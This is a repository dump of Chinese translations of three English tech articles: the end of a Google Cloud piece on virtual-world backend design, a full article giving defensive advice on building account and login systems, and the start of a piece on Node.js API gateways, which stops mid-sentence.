![](https://cdn-images-1.medium.com/max/1000/1*61k82U4FxUM9lOfd34stlg.png) **Colt 的方案**充分利用了他的游戏开发经验,设计了一个完全隔离虚拟世界和物理世界的系统。他的架构详细描述了创建一个 MMO (或者其他大型合作空间)后端服务所需要的框架。 ![](https://cdn-images-1.medium.com/max/1000/1*Es5nrGnQu3jQYirGuq8aPw.png) ### 创建你自己的全球虚拟世界 这些设计里面最大的区别在于虚拟环境的气候和几何信息的来源。Reto 的设计方案依赖于分析现实世界中的传感器数据,而 Colt 的系统使用艺术家来提供人造景观和建筑物。 如果你想要一个包含真实世界几何图形和纹理的系统,你可以从 Google Map 上面找点灵感。 他们的系统使用图像和传感器数据的组合来生成 3D 模型以及这些模型的纹理信息。这使得他们能够生成非常真实的城市环境三维再现,而不需要雇佣一大群艺术家来重新创建相同的内容。 让我们来生成一个十分相似的具有代表性的东西来反映这个过程。我们可以使用卫星数据,LIDAR(激光雷达)输入,还有来自各个角度和来源的无人机图片,并把他们放到一个 GCS bucket 里面。 另外,我们还要生成工作信息并将 work token 推送到 pub/sub。我们有一批抢占式虚拟机,负责收集这些 pub/sub 请求,并开始制作 3D 网格和纹理图集。最终的结果也被推送到 GCS bucket 里面。 ![](https://cdn-images-1.medium.com/max/800/1*2awv-uWabgiVAepGrpUdzA.png) > **为什么要用抢占式虚拟机(PVM)?** PVM 允许自己被计算引擎管理器终止。因此,与同样配置的标准虚拟机相比,它们提供了非常便宜的折扣价。由于它们的寿命是不稳定的,因此它们非常适用于执行可能会中断而无法完成的批量工作。 Pub/sub 在这方面与 PVMs 携手合作。一旦 PVM 收到一个终止信号,它可以停止工作,并将工作负载推回到 pub/sub,以便另一个 PVM 稍后拾取继续工作。 或者,对于这种算法失效的区域,你可以允许用户为图标式地标提交自定义模型和纹理,然后将其插入到生成的 3D 环境中。 ![](https://cdn-images-1.medium.com/max/800/1*8ngyDPNUw6GqNRdxWnvJrA.png) ### 存储和分发虚拟世界数据 当我们所有的网格和纹理数据都处理完毕的时候,结果将是数以 TB 的虚拟环境数据。很明显,我们不能一次将所有内容都传输给每个客户,相反,我们会根据地理边界打包模型数据。 这些 『区域性 blob』 被编入索引,包含元数据,并且可以存储在多层压缩存档中,以便它们可以流式传输到客户端。 要计算这一点,需要使用与生成 3D 网格相同的离线构建过程;具体来说,你可以为 pub/sub 生成一堆任务,并使用一群抢占式虚拟机来计算和合并适当的区域 blob。 ![](https://cdn-images-1.medium.com/max/800/1*CEkaLsDQMXbQVvygHYrhGw.png) 将区域档案分发给客户取决于用户在虚拟世界中的『实际』位置,以及他们面对的方向。 ![](https://cdn-images-1.medium.com/max/800/1*Jz_zqlU5Ca0MGIIGGjUMlg.png) 为了优化客户端的加载时间,给他们经常访问的区域添加本地缓存是非常有意义的,以此来帮助他们避免每次进入一块新的区域都需要下载大量数据的情况。 ![](https://cdn-images-1.medium.com/max/800/1*6b2I4tUiPyn3pVSw7aPwfg.png) 为了图表清晰起见,我们可以将整个过程封装起来作为一个离线系统,我们称它为『自动内容生成器(ACG)』。 随着时间的推移,本地缓存将会失效,或者需要将更新推送给用户。为此,我们制定了更新和分期流程,客户可以在登录或是重新进入他们最近访问的区域时接收更新的环境数据。 ![](https://cdn-images-1.medium.com/max/800/1*lCgVkyWLf2gSqfZE2Wlhww.png) > **为什么用 GCF?** 有很多种方法可以让客户端检查更新。例如,我们可以创建一个负载均衡器来自动扩展一组 GCE 实例。或者我们可以制作一个可以根据需求进行扩展的 Kubernetes pod。 > 或者我们可以使用 app engine flex,它允许我们提供我们自己的图像,只是图片大小相同。或者我们可以使用 app engine 标准,它有自己的部署和扩展。 > 我们之所以选择 Cloud Functions 的原因是:首先,GCF 增强了对 Firebase 推送通知的支持。如果发生了什么情况,我们需要通知客户有紧急修复补丁,我们可以直接将这些数据推送给客户。 > 其次,GCF 需要最少的工作来部署功能。我们不需要花费额外的周期来配置图像,平衡或部署细节;我们只需编写我们的代码,并将其推出确保可以使用。 ### 为你的虚拟世界提供模拟数据 随着你的用户移动并且和虚拟环境交互,他们所导致的任何改变都需要和其他的周边数据同步,并分享给其他用户。 你需要一些复合组件来确保用户操作不违反任何物理规则,然后是一个用于存储或向其他用户广播这些信息的系统。 为此,你可以利用一组名为 『World Shards』 的 App Engine Flex 组件,它们允许地理上比较接近的客户端连接并交换位置和移动信息数据。因此,当用户进入游戏区域时,我们会计算出他们最近的区域,并将它们直接连接到适当的 World Shards。 > **为什么用 App Engine Flex?**对于 World Shards 而言,我们可以轻松使用一组共享一个图像的实例化的 GCE 虚拟机来实现,但是 app engine flex 为我们提供了相同的功能,且不需要额外的维护开销。同样的,一个 GKE Kubernetes 集群也可以做到这一点,但对于我们的应用场景,我们并不需要 GKE 提供的一些高级功能。 我们还需要一组独立的计算单元来帮助我们管理所有二级世界互动项目。诸如购买商品,玩家间通信等等。为此,你可以启动第二组 App Engine Flex 实例。 所有需要分发到多个其他客户端的持久性数据将存储在云端 Spanner 中,这将使得区域比较靠近的用户在有需要时能够尽快共享信息。 ![](https://cdn-images-1.medium.com/max/800/1*KQnoHJeVWVQbJJr8ELQKcQ.png) > **为什么用 Spanner?**我们之所以选择 spanner 是因为它的托管服务,全球容量以及扩展能力来处理非常高的事务性工作负载。你也可以用 SQL 系统来做到这一点,但是这样的话,你就得为获得相同的效果做很多繁重的工作。 由于我们的代码需要经常改动,我们需要增加我们的更新和临时服务器以将代码分发到我们的 world-shards。为了实现这一点,我们允许在暂存代码中执行计算级分段,并将图像推送到 Google Container Registry,以便根据需要支持各种 world shards 和游戏服务器。 ![](https://cdn-images-1.medium.com/max/800/1*V0jjfEVbgTpBA1T91L1W1A.png) ### 绘制你的虚拟世界 除非您戴上 VR 头盔,否则虚拟世界就不是一个有意义的虚拟世界。为此,你可以利用 Google VR 和 Android Daydream 平台在完全身临其境的 VR 体验中呈现我们巨大的虚拟世界。然而,Daydream 本身并不是一个合适的渲染引擎,因此你需要利用像 UNITY 这样的工具来帮我们绘制所有模型,并代表我们与 Daydream 系统进行交互。 ![](https://cdn-images-1.medium.com/max/800/1*cMAXUcr7QcZXdnFnOm38WA.png) 描述如何在 VR 模式下每帧正确渲染数百万个多边形是一个很大的挑战,但这已经不在本文的讨论范围之内了;) ### 帐户和身份认证服务 我们将添加一个 app engine 前端实例,利用 Cloud IAM 对用户进行身份验证和识别,并与帐户管理数据库通信,这个数据库可能包含帐单和联系人数据等敏感信息。 ![](https://cdn-images-1.medium.com/max/800/1*_XrckPhaLAUKQbfkJAV48g.png) > **为什么用 App Engine 标准?** 我们选择 app engine 标准作为 IAM 系统的前端服务的原因有很多。 > 首先是它的管理,这样我们就不必像 containers、GKE、App Engine Flex 那样处理配置和部署的细节了。 > 其次,它内置了 IAM 规则和配置,因此我们可以用更少的代码来获得我们所需的安全保证和登录系统。 > 第三,它直接包含了对数据存储的支持,我们用它来存储我们所有的 IAM 数据。 * * * 想要了解我们技术选型的更多详细描述,可以在 [Google Play Music](https://play.google.com/music/listen#/ps/Imvre4gs5o4fv2aqknxopy6cb7q),iTunes,或者[你最喜爱的播客应用或网站](http://feeds.feedburner.com/BuildOutRewound)上关注我们的系列播客,Build Out Rewound。 如果你对我们的系统设计或者技术选型有任何问题,请在下面留言,或者在我们的 YouTube 视频下面留言。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/building-account-systems.md ================================================ > * 原文地址:[Building account systems](https://blog.plan99.net/building-account-systems-f790bf5fdbe0) > * 原文作者:[Mike Hearn](https://blog.plan99.net/@octskyward) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/building-account-systems.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-account-systems.md) > * 译者:[shawnchenxmu](https://github.com/shawnchenxmu) > * 校对者:[undead25](https://github.com/undead25) [DeadLion](https://github.com/DeadLion) # 搭建账户系统 ![](https://cdn-images-1.medium.com/max/1600/1*gMIGLbIgwnSC8huyC5ugKQ.jpeg) [Troy Hunt](https://www.troyhunt.com/) 近期发表了一篇题为『[新时代的认证指南](https://www.troyhunt.com/passwords-evolved-authentication-guidance-for-the-modern-era/)』的博文。文章对于「你的网站应该使用什么样的密码规则」给予了很多实用的建议,而通过参考权威机构的建议总是有助于说服同事或老板。 我在 Google 工作期间从事过的一个项目就是他们的统一账户系统([特别是反劫持](https://googleblog.blogspot.ch/2013/02/an-update-on-our-war-against-account.html))。大多数网站都会有一个登录系统,阅读 Troy 的文章极大地启发了我去建立这样的一个系统,从而将那些建议应用其中。 ### 1. 最好不要有 不管是什么业务,进行用户认证并不是你的主职,现代登录系统需要考虑的有很多,密码只是一个开始。如果你成功建立了账户,最终还得考虑: - 找回密码 - 电子邮箱的认证 - 账户登出,常常比你想象的要困难(见下文) - 密码的强力保护 - 基于短信、手机应用和硬件密钥的双因子验证 - 对账户劫持的保护(当攻击者已经知道了正确密码而用户还没有双因子验证时) - 用户的地区、语言、姓名、个人头像等的偏好 - 对桌面和移动端的登录支持 - 异常行为的通知 - 只允许特定手机的登录 随着大公司对用户验证意识的提高和攻击者的攻击能力的提升,一成不变的验证技术已经不符合时代的变化。幸运的是,你现在可以将你的身份验证环节外包给那些支持 OAuth 协议的公司。 Web 开发者常常会在建立完自己的账户系统之后,才觉得添加[『使用 Facebook 登录』](https://developers.facebook.com/docs/facebook-login)或[『使用 Google 登录』](https://developers.google.com/identity/sign-in/web/sign-in)是个不错的方案。如果你是为了建立一个全新的网站而阅读这篇文章,我建议『使用第三方登录』应该成为你的网站的唯一选项。如今,建立自己的账户系统就像是建立自己的数据中心,而不是使用 AWS。 人们有时候会担心,如果只提供『第三方登录』按钮用来登录,那么那些大型的 ID 提供商可能会试图窃取他们的客户。通常情况下,人们担心的情况是,使用 ID 提供商登录,但是却被要求设置密码。其实不用担心这一点,这种情况不太可能发生,就算真的发生了,你也随时可以通过电子邮件给他们发送一个链接将你的客户群迁移到你自己的系统上。 ### 2. 使用邮箱或电话号码来识别用户 不要强制用户设置用户名,即使你的业务体验是基于用户名的,比如聊天论坛之类的。用户通常是通过邮箱或者是电话抑或是两者同时验证的,如果你想让每个用户都拥有一个独一无二的用户名(用来展示的),那应该单独选择,为什么呢? - 无论如何你都是要用户提供邮箱地址的 - 如果用户名成为你的系统的个人识别符,你要考虑用户是会随时更改它的 - 用户经常会忘记用户名,可一般不会忘记邮箱或电话号码 - 挑选用户名的过程常常是让人沮丧,一旦用户使用了一个用户名,却因为该用户名已经存在而不能通过时,有些人就会放弃了,从而你就流失了一位用户 - 将用户名和用来展示的名字分开可以大大减少对用户设置的限制,例如禁止空格 ### 3. 完全放弃密码 ![](https://cdn-images-1.medium.com/max/1600/1*1S1yaiqUAmfLZE2uF5AvDw.jpeg) 如果你还没准备好将账户系统完全依赖于第三方 ID 提供商,那么千万不要设置密码,这样对每个人都有好处。 这个主意并不像它听起来那么愚蠢。你已经向用户询问他们的电子邮箱了,你所应该在你的登录系统上添加的第一个功能就是用户忘记密码后该如何恢复,你可以通过电子邮件给用户发送一个可点击的链接。这样,只要用户能够使用该邮箱就能够登录你的系统,而你的网站密码也用不着增加额外的安全性。 我们跳过这一步,直接进入下一步,取而代之的——你的登录系统可以变得更简单,只需通过邮件向用户发送一封包含了登录cookie的链接,用户只需点击链接便能登录。[Medium.com 便是如此](https://blog.medium.com/signing-in-to-medium-by-email-aacc21134fcd)。 通过这种方法,只要用户的设备装有电子邮件客户端,就能够登录。对于台式机、笔记本电脑、手机和平板来说也是如此。对于游戏机和电视来说可能行不通,不过你的目标用户可能不是这些人群。其中的匹配过程最好用蓝牙的方式,因为这些设备没有方便使用的键盘。 过去常常有这样的说法:缺少密码输入框会使用户感到不自在。而现代的谷歌登录体验正是如此,他们仅仅要求用户输入他们的电子邮箱地址,所以用户并不会感到有什么不自在,而且这么做还大有好处。 而这种方法还有个好处:有些人只有电话号码而没有电子邮箱。在发展中国家尤其如此,所以如果这些国家的用户是你的网站的潜在目标市场的话,最终你可能要支持仅能通过手机接受验证码的方式登录。这样的账户根本就不需要密码,如果你所有的用户都有密码,那么你需要返回并为安全敏感的代码路径添加许多特殊的情况(这很容易导致致命的错误)。 ### 4. 不要使用密保问题 如果你就是想使用密码——大概你懒得向你的老板解释为什么你这么特立独行,那么请至少不要让用户通过密保问题来找回他们的密码。 - 密保问题常常被猜测。用户很难想出那些只有他们知道而其他人答不出来的问题。 - 预设的问题使得猜测的现象更加严重 - 预设问题往往带有文化差异,从而使得它们对于许多用户并不友好(例如:『你们高中学校的吉祥物是什么?』)。 - 一些『精明』的用户意识到他们不能想出一个难以猜测的答案,所以仅仅在这个位置填入密码,导致了他们在忘记密码时无法恢复。 - 还有一堆的高端黑客,会在密码恢复流程上做点文章,你可不希望这事发生在你身上吧。 Google 曾经在密保问题上遇到过严重的问题。[这是我的几位老同事发表的研究](https://security.googleblog.com/2015/05/new-research-some-tough-questions-for.html),值得一看(视频在下面,来自 youtube,需要翻墙)。 [![](https://i.ytimg.com/vi_webp/h8YwQvJm7rk/maxresdefault.webp)](https://www.youtube.com/embed/h8YwQvJm7rk) 一场在谷歌进行的关于密保问题和答案的谈话 这是一些问答的例子: - **问:你最喜欢的食物是?答:披萨。**答案常常是披萨。仅仅通过猜出这个问题的答案,你就能破解大约 20% 的说英语的用户。再添加十个猜测选项,你就能破解三分之一的设置了这个问题的用户。而对于韩国用户,你可以用 10 个以内的选项破解 43% 的用户。 - **问:你是在星期几结的婚?答:星期四** 是用户自定义的问题,但却有个致命的缺陷 —— 一般攻击者只需要尝试 5 次,就能破解正确答案。而这还不至于被检测为暴力破解。 - **问:我是在哪个城市出生的?答:首尔**在一些国家里,大多数人会聚居在少数的几个大城市里。观察 ID 验证用户界面所使用的语言,可大大缩小可能的城市列表。通过这个问题,你能够破解 40% 的用户。 - **问:我的第一位老师叫什么名字?答:Mr Smith, Smith, John, John S. Smith,JOHN SMITH, Jon Smth。** 这些都是正确答案,但是却不能正确通过。我为这些问题提供了模糊匹配的模式,因为用户的答案总是差那么一点儿。匹配逻辑通常需要了解一些问题背景(『编辑距离』算法本身不足以满足诸如街道地址等的情况)。你还得让你的产品支持多语言,祝你好运吧。 专业的账户系统是不会单独使用密保问题来允许用户恢复密码的。它仅仅只是一种参考。我只给予你小于 2% 的机会去通过一个足够复杂的机制来获得这个权利。这就是为什么 Google 逐步淘汰密保问题而采用短信的方式来恢复密码。当然短信恢复自身也存在一些问题,但相比于密保问题还是好很多的。 ### 5. 避免使用验证码 验证码是许多登录表单的常见功能。我在 Google 期间也做了一些相关的工作。但是,在如今验证码几乎没有什么价值,而且执行率非常之低。 ![](https://cdn-images-1.medium.com/max/1600/1*_RLdNjTDj6VzHRsIit5ODg.gif) 这些验证码都无济于事。 首先要正确理解验证码的作用,它们仅仅对自动化攻击施加非常简单的限制。他们并不会保护你的账户系统免于批量注册的风险。除了账户安全,我还花了几年时间研究 Google 的注册滥用。我们亲眼看到垃圾邮件发送者轻松地解决了数千万个那些我们认为很难的验证码。有那些专业处理验证码的公司,如 [DeathByCaptcha](http://www.deathbycaptcha.com/user/login),他们使用的是光学字符识别和人工识别。普通的验证码让盲人用户无法进行注册,这确实是个问题。而基于语音的验证识别对于机器很容易,对人来说却很困难。 使用验证码阻止暴力破解密码是很有帮助的。暴力破解一个账户的密码,可能需要成百上千次的尝试,一个简单的方法来阻止这种现象是在他们经过了几次失败的尝试之后就开始加入验证码。在机械的循环中,即使是使用一个简单的验证码来延缓进程也足够了。 对于阻止批量账户注册,验证码却不太管用。建立一个系统去检测和阻止这类现象是另一桩工作,在这方面我也花了好几年的时间。你可以大致了解一下这有多困难,登录 [buyaccs.com](http://buyaccs.com) 并对比一下黑市账户销售商收取的巨大差价。防御系统较好的网站的账户通常会收取更高的价格。除非你是 Big 5 之一,不然在注册安全方面,你所做的不可能超过我们,这也是我建议你将登录系统外包给那几家主要的公司的另一个原因。 如果你**仍然**想要使用验证码,请使用 [reCAPTCHA](https://www.google.com/recaptcha/intro/) 并确保你的验证码放置在了适当的位置,以免重放攻击。不要尝试使用你自己制作的或是你在 GitHub 上找到的工具包,这样的验证码很容易被现代的光学字符识别所解决,除了降低客户注册的成功率之外并没有什么用处。 ### 6. 外包双因子验证 ![](https://cdn-images-1.medium.com/max/1200/1*GmSsoIZQN49cIBMeNDoYlA.png) 如今双因子验证是一个很常见的功能。然而,把它做好却是很困难的,而且花费不菲,你不会想自己动手去实现它的。 - 短信是不稳定的,特别是在有些国家,恢复码常常不能显示。你最终可能会选择语音合成的电话,因为电话更加稳定一些,而现在你又需要考虑多语种的语音合成引擎了。 - 大量的短信或电话将会是一笔大的开销,即使你能通过大批量获得优惠。 - 人们可能常常会更换电话号码。如果你的密码恢复流程是基于电子邮件地址的,那么这个过程将会变得很容易。但是一旦你的系统引入了稳定的双因子认证,密码恢复将变成你系统中的一个漏洞。如果你不去修复它,攻击者将会很轻松地进行破解。而如果你尝试阻止它也并不会起作用。 - 双因子验证会被攻击者滥用,他们将它添加到钓鱼或者黑入的账户里。这是为了在执行恶意活动期间,防止真正的用户取回该账号。 - 电话号码很容易受到移植攻击,所以如今的趋势是要求用户设置移动应用或安全密钥。为了实现这项措施意味着更多的工作,当然,这两项可能都不管用,所以你最终还是需要一些客户支持流程来帮助他们恢复。 - 如你所见,双因子验证增加了大量客户的手动操作,因为你不再使用密保问题或电子邮件的方式恢复用户的密码了。而这个开销很大。 其中一些问题是很根本的,但是大多数已经有人帮你解决了,他们将免费为你支付电话费和客户支持人员 不过,如果你仍然不想使用他们提供的服务,那么还有一些创业公司可以为你解决小部分的双因子验证难题。 ### 7. 不要强制用户更改密码 Troy 已经把这一点解释的很好了,我这里就不再赘述,但还要再强调一遍,这很重要。不要仅仅是因为用户的密码已经使用一段时间了,就让用户更改密码。 - 一些用户可能无法通过这个流程,从而导致你流失一部分用户。 - 用户可比你聪明,他们会更改密码(一次、两次、三次),然后立即将其更改为旧密码,这意味着你得存储最近密码的历史记录以防止此类行为。但我敢打赌,你不会这样做的。 - 这样并不会增加安全性。 ### 8. 不要为会话设置有效期 是的,这又是个不好的『最佳实践』。人们常常会为会话 cookie 设置有效期,觉得这样做增加了安全性,出于同样的原因,人们会认为为密码设置有效期也会增加安全性。 - 攻击者往往会立即进行恶意活动,所以设置有效期并没有多大用处。 - 会话有效期这一设置使得用户习惯于意料之外的密码提示,这使得他们非常容易被欺骗。 - 存储有效期的随机性会产生大量的 bug,导致了你的开发人员将大量的时间花在了修复 bug 上。你的网站的大部分代码应该不能处理这种,在一个操作中途,使用的会话过期了的情况,所以你必须返回去修复它,前提是你能够发现的话。而由于用户报告的随机性,这使得追踪错误变得更加困难了。 ### 9. 记得登出 在不成熟的账户系统中,登出错误是非常常见的。这听起来很简单,但是实现这一功能的公认方法,是有缺陷的。 - 简单地删除会话的 cookie 对用户来说是方便的,但是这意味着你在遭受『跨站脚本攻击』后无法恢复。一旦发现『跨站脚本攻击』,你会希望,让可能被盗取的会话 cookie 无效,但是如果登出只是『要求浏览器删除 cookie』,那么这样做是不行的。 - 将时间戳添加到会话 cookie,然后设置『最后登出时间』,每个操作都需要检查帐户数据库,以了解用户的会话是否过旧。这可能会导致操作响应变慢,意味着开发人员将要对此进行优化(毕竟这似乎也没什么)。但是如果他们移除了对攻击者感兴趣的一个端口的检查,那么你在第一步中遇到问题将会再次出现。另外,这意味着退出一个浏览器或设备,就会将所有用户登出,这不是预期的行为。 正确的方法是使用内存中缓存来保存过期会话 cookie 的列表。但是,对于大多数公司来说,有个成本更低而且足够好的替代方案:让用户的退出链接仅仅当作是清除会话 cookie 的一种方式,紧接着可以让会话 cookie 过期,并且每隔5分钟自动更新。替换过期会话 cookie 的行为可以通过查询数据库,以查看管理员是否强制注销了该账户。如果用户显示的是过期的 cookie,则需要重新登录。这就意味着 cookie 清理之后就不太可能被盗用了。 ### 10. 从营销邮件中分离帐号电子邮件 ![](https://cdn-images-1.medium.com/max/1600/1*kg2ZRHcCDGJ83rEz8D7saA.png) 一般我们会用公司的主要电子邮箱服务器来给用户发送恢复密码链接、登录验证等信息。然而,贵公司的一些人却会通过给用户发送那些他们不想收到的商业邮件与用户建立『联系』。 即使用户同意在帐号注册期间收到这类信息,但其中大部分用户却不想再收到这样的信息,有些人甚至会将其举报为垃圾邮件。那些精明的用户知道,这是一个极其方便的解决方案,仅仅简单地点击『举报垃圾邮件』,就能让这些令人讨厌的电子邮件消失,而不必把精力花费在寻找用微小字体写着的『取消订阅』链接,或是劳神费力地写电子邮件过滤器。 而不幸的是,这类行为将会降低你的电子邮件域名的信誉。从你的帐户系统发送的邮件最终很可能会进入用户的垃圾邮件文件夹。我们在注册或进行密码恢复的流程中,都能看到这类让我们检查垃圾邮件文件夹的提示 —— 就是这个原因。 解决这个问题的一种方法是,购买单独的顶级域名来发送邮件,并确保符合电子邮件验证标准。但是,一些用户可能会注意到域名不匹配,从而将你的电子邮件举报为网络钓鱼。最佳方案是使用不同电子邮件验证标准的域名发送你的营销邮件,但你的产品人员可能不认可。所以,还是那句话,你选择自己干的那一刻,也同时承担了痛苦。 ### 11. 保护好你的密码数据库 一旦你拥有了密码,你的数据库就成了攻击者的目标(而且他们常常能得手)。他们对你的公司并不感兴趣,他们只是想要密码,以方便他们尝试那些更高价值目标。所以,数据泄露是个严重的问题,也许对客户的直接影响没那么大,但有可能导致严重的后果。而使用 OAuth 协议的数据库对于攻击者来说却没什么价值, 因此不太可能受到攻击。 ### 结论 关于帐户系统我还能写好多东西。保护你的网站,使其免受恶意帐户入侵或注册,这方面内容可以单独写成一本书了。这书我写不了,不过如果你有兴趣的话,可以看看这个视频,这是我在 [2012 年的一次访谈](https://www.youtube.com/watch?v=XwsaZ4-3muA)。 老实说,这看似是一个浩大的工程,实则并非如此。所以我一直建议你要硬着头皮坚持做下去,并且把你的账户管理外包给那些大公司。因为,你的主要业务并不是去操心怎样摆弄验证码、不是怎样写『登出』的设计文档、不是诊断为什么你会流失那些忘记密码的用户、也不是去考虑为什么发送信息到秘鲁会不稳定。你在这些事情上花费的每一分钱,对于那些提供了『使用第三方登录』的竞争对手来说,他们将这些钱都花在了他们的核心业务上。 所以,不要回头看了,放弃你的密码数据库吧。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/building-an-api-gateway-using-nodejs.md ================================================ > * 原文地址:[Building an API Gateway using Node.js](https://blog.risingstack.com/building-an-api-gateway-using-nodejs/) > * 原文作者:[Péter Márton](https://twitter.com/slashdotpeter) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/building-an-api-gateway-using-nodejs.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-an-api-gateway-using-nodejs.md) > * 译者:[MuYunyun](https://github.com/MuYunyun) > * 校对者:[jasonxia23](https://github.com/jasonxia23)、[CACppuccino](https://github.com/CACppuccino) # 使用 Node.js 搭建一个 API 网关 外部客户端访问微服务架构中的服务时,服务端会对认证和传输有一些常见的要求。API 网关提供**共享层**来处理服务协议之间的差异,并满足特定客户端(如桌面浏览器、移动设备和老系统)的要求。 # 微服务和消费者 微服务是面向服务的架构,团队可以独立设计、开发和发布应用程序。它允许在系统各个层面上的**技术多样性**,团队可以在给定的技术难题中使用最佳语言、数据库、协议和传输层,从而受益。例如,一个团队可以使用 HTTP REST 上的 JSON,而另一个团队可以使用 HTTP/2 上的 gRPC 或 RabbitMQ 等消息代理。 在某些情况下使用不同的数据序列化和协议可能是强大的,但要使用我们的产品的**客户**可能**有不同的需求**。该问题也可能发生在具有同质技术栈的系统中,因为客户可以从桌面浏览器通过移动设备和游戏机到遗留系统。一个客户可能期望 XML 格式,而另一个客户可能希望 JSON 。在许多情况下,您需要同时支持它们。 当客户想要使用您的微服务时,您可以面对的另一个挑战来自于通用的**共享逻辑**(如身份验证),因为您不想在所有服务中重新实现相同的事情。 总结:我们不想在我们的微服务架构中实现我们的内部服务,以支持多个客户端并可以重复使用相同的逻辑。这就是 **API 网关**出现的原因,其作为**共享层**来处理服务协议之间的差异并满足特定客户端的要求。 # 什么是 API 网关? API 网关是微服务架构中的一种服务,它为客户端提供共享层和 API,以便与内部服务进行通信。API 网关可以进行**路由请求**、转换协议、**聚合数据**以及**实现共享逻辑**,如认证和速率限制器。 您可以将 API 网关视为我们的微服务世界的**入口点**。 我们的系统可以有一个或多个 API 网关,具体取决于客户的需求。例如,我们可以为桌面浏览器、移动应用程序和公共 API 提供单独的网关。 ![API Gateway](https://blog-assets.risingstack.com/2017/07/api-gateway-1.png) **API 网关作为微服务的切入点** ## Node.js 用于前端团队的 API 网关 由于 API 网关为客户端应用程序(如浏览器)提供了功能,它可以由负责开发前端应用程序的团队实施和管理。 这也意味着用哪种语言实现 API Gateway 应由负责特定客户的团队选择。由于 JavaScript 是开发浏览器应用程序的主要语言,即使您的微服务架构以不同的语言开发,Node.js 也可以成为实现 API 网关的绝佳选择。 Netflix 成功地使用 Node.js API 网关及其 Java 后端来支持广泛的客户端 - 了解更多关于它们的方法阅读 [The "Paved Road" PaaS for Microservices at Netflix](https://www.infoq.com/news/2017/06/paved-paas-netflix) 这篇文章 ![](https://image.slidesharecdn.com/qconpaved-170718200756/95/paved-paas-to-microservices-7-638.jpg?cb=1500408507) **Netflix 处理不同客户端的方法, [资源](https://www.slideshare.net/yunongx/paved-paas-to-microservices)** # API 网关功能 我们之前讨论过,可以将通用共享逻辑放入您的 API 网关,本节将介绍最常见的网关职责。 ## 路由和版本控制 我们将 API 网关定义为您的微服务的入口点。在您的网关服务中,您可以指定从客户端路由到特定服务的**路由请求**。您甚至可以通过路由**处理版本**或更改后端接口,而公开的接口可以保持不变。您还可以在您的 API 网关中定义与多个服务配合的新端点。 ![API Gateway - Entry point](https://blog-assets.risingstack.com/2017/07/api-gateway-entrypoint-1.png) **API 网关作为微服务入口点** ### 网关设计的升级 API 网关方法也可以帮助您**分解您的整体**应用程序。在大多数情况下,在微服务端重构一个系统不是一个好主意也是不可能的,因为我们需要在重构期间为业务发送新的以及原有的功能。 在这种情况下,我们可以将代理或 API 网关置于我们的整体应用程序之前,将**新功能作为微服务**实现,并将新端点路由到新服务,同时通过原有的路由服务旧端点。这样以后,我们也可以通过将原有功能转变为新服务来分解整体。 随着网关设计的升级,我们可以实现整体架构到微型服务的**平滑过渡** ![API Gateway - Evolutionary design](https://blog-assets.risingstack.com/2017/07/api-gateway-evolutinary-design.png) **API 网关设计的升级** ## 认证 大多数微服务基础设施需要进行身份验证。将**共享逻辑**(如身份验证)添加到 API 网关可以帮助您**保持您的服务的体积变小**以及**可以集中管理域**。 在微服务架构中,您可以通过网络配置将您的服务保护在 DMZ **(保护区)**中,并通过 API 网关向客户**公开**。该网关还可以处理多个身份验证方法。例如,您可以同时支持基于 **cookie** 和 **token** 的身份验证。 ![API Gateway - Authentication](https://blog-assets.risingstack.com/2017/07/api-gateway-auth-1.png) **具有认证功能的 API 网关** ## 数据汇总 在微服务架构中,可能客户端所需要的数据的聚合级别不同,比如对在各种微服务中产生的**非规范化数据**实体。在这种情况下,我们可以使用我们的 API 网关来**解决**这些**依赖关系**并从多个服务收集数据。 在下图中,您可以看到 API 网关如何将用户和信用信息作为一个数据返回给客户端。请注意,这些数据由不同的微服务所拥有和管理。 ![API Gateway - Data aggregation](https://blog-assets.risingstack.com/2017/07/api-gateway-aggregation-1.png) ## 序列化格式转换 我们需要支持客户端**不同的数据序列化格式**这样子的需求可能会发生。 想象一下我们的微服务使用 JSON 的情况,但我们的客户只能使用 XML APIs。在这种情况下,我们可以在 API 网关中把 JSON 转换为 XML,而不是在所有的微服务器中分别进行实现。 ![API Gateway - Data serialization format transformation](https://blog-assets.risingstack.com/2017/07/api-gateway-format-2.png) ## 协议转换 微服务架构允许**多通道协议传输**从而获取多种技术的优势。然而,大多数客户端只支持一个协议。在这种情况下,我们需要转换客户端的服务协议。 API 网关还可以处理客户端和微服务器之间的协议转换。 在下一张图片中,您可以看到客户端希望通过 HTTP REST 进行的所有通信,而内部的微服务使用 gRPC 和 GraphQL 。 ![API Gateway - Protocol transformation](https://blog-assets.risingstack.com/2017/07/api-gateway-protocol.png) ## 速率限制和缓存 在前面的例子中,您可以看到我们可以把通用的共享逻辑(如身份验证)放在 API 网关中。除了身份验证之外,您还可以在 API 